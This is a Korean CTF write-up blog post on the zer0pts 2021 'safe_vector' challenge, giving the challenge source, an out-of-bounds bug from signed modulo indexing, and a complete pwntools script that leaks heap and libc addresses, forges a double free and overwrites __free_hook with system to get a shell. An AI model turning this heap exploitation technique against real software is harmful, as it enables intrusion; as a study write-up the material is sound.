CTF(Capture The Flag)/zeroptf 2021

safe_vector

cyanhe_wh 2021. 4. 7. 00:24
반응형

풀이

$ pwn checksec chall
[*] '/home/user/바탕화면/zer0ptf/safe_vector/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
#include <iostream>
#include <vector>

template<typename T>
class safe_vector: public std::vector<T> {
public:
  void wipe() {
    std::vector<T>::resize(0);
    std::vector<T>::shrink_to_fit();
  }

  T& operator[](int index) {
    int size = std::vector<T>::size();
    if (size == 0) {
      throw "index out of bounds";
    }
    return std::vector<T>::operator[](index % size);
  }
};

using namespace std;

int menu() {
  int choice;
  cout << "1. push_back" << endl
       << "2. pop_back" << endl
       << "3. store" << endl
       << "4. load" << endl
       << "5. wipe" << endl
       << ">> ";
  cin >> choice;
  return choice;
}

int main() {
  safe_vector<uint32_t> arr;

  do {
    switch(menu()) {
    case 1:
      {
        int v;
        cout << "value: ";
        cin >> v;
        arr.push_back(v);
        break;
      }
    case 2:
      {
        arr.pop_back();
        cout << "popped" << endl;
        break;
      }
    case 3:
      {
        int i, v;
        cout << "index: ";
        cin >> i;
        cout << "value: ";
        cin >> v;
        arr[i] = v;
        break;
      }
    case 4:
      {
        int i;
        cout << "index: ";
        cin >> i;
        cout << "value: " << arr[i] << endl;
        break;
      }
    case 5:
      {
        arr.wipe();
        cout << "wiped" << endl;
        break;
      }
    default:
      return 0;
    }
  } while (cin.good());
  return 0;
}

__attribute__((constructor))
void setup() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
}
T& operator[](int index) {
    int size = std::vector<T>::size();
    if (size == 0) {
      throw "index out of bounds";
    }
    return std::vector<T>::operator[](index % size);
  }

class 부분에 새로만든 operator을 보면 index % size 의 결과 값에 참조를 하여 값에 접근한다. size와 index를 조작하면 음, 양수 다되고 원하는데로 조작이 가능한 OOB 취약점이 존재한다.

이를 이용해 힙 메모리 구간을 조작하여 Double Free를 발생이 가능하다.

exploit 시나리오

  1. tcache가 존재하므로 계속 push_back을 하여 메모리를 0x420이상으로 할당 받는다.
  2. largebin을 만들고 해제시켜 unsorted bin을 만든면, 4번 메뉴를 통해서 fk부분을 참조하여 라이브러리 주소를 노출시킨다.
  3. libc base 주소를 구하고, free_hook, system 함수를 구한다.
  4. heap feng shui 기술을 사용하여 힙 메모리를 조작하여 Double Free를 만들고, free_hook을 할당하여 system주소를 넣고 free시켜 exploit 한다.

Exploit Code

from pwn import *

# p = remote('pwn.ctf.zer0pts.com', 9001)
p = process('./chall')
libc = ELF('./libc.so.6', checksec=False)

def push(num):
    p.sendlineafter('>> ', str(1))
    p.sendlineafter('value: ', str(num))

def store(index, value):
    p.sendlineafter('>> ', str(3))
    p.sendlineafter('index: ', str(index))
    p.sendlineafter('value: ', str(value))

def load(index):
    p.sendlineafter('>> ', str(4))
    p.sendlineafter('index: ', str(index))
    p.recvuntil('value: ')
    value = int(p.recvuntil('\n', drop=True))
    return value

def wipe():
    p.sendlineafter('>> ', str(5))

# Memory Leak
for i in range(16):
    push(-1)

heap_base = (load(-9) << 32) + (load(-10)) - 0x10
log.info(f'heap base: {hex(heap_base)}')

for i in range(0x400 - 16):
    push(-1)
libc_base = (load(-515) << 32) + load(-514) - 0x10 - 0x1ebbd0
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
log.info(f'libc base: {hex(libc_base)}')
log.info(f'free hook: {hex(free_hook)}')
log.info(f'system: {hex(system)}')
wipe()

# double free 만들기 
for i in range(4):
    push(i)
store(-2, 0x111)
for i in range(4, 8):
    push(i)
store(-2, 0x51)
for i in range(8, 16):
    push(i)
wipe()

for i in range(6):
    push(0x0)

push(0x21)
push(0x0)

# 8, 9
push(free_hook & 0xffffffff)
push(free_hook >> 32)

for i in range(14, 64):
    push(-1)
wipe()

push(system & 0xffffffff)
push(system >> 32)
push(0xdead)
push(0xbeef)
store(0, u32(b'/bin'))
store(1, u32(b'/sh\x00'))

#exploit
wipe()
log.success('exploit!!')

p.interactive()

 

반응형

'CTF(Capture The Flag) > zeroptf 2021' 카테고리의 다른 글

baby sqli  (0) 2021.03.12
GuestFS:AFR  (0) 2021.03.12
OneShot  (0) 2021.03.12
stopwatch  (0) 2021.03.12
Not Beginner's Stack  (0) 2021.03.12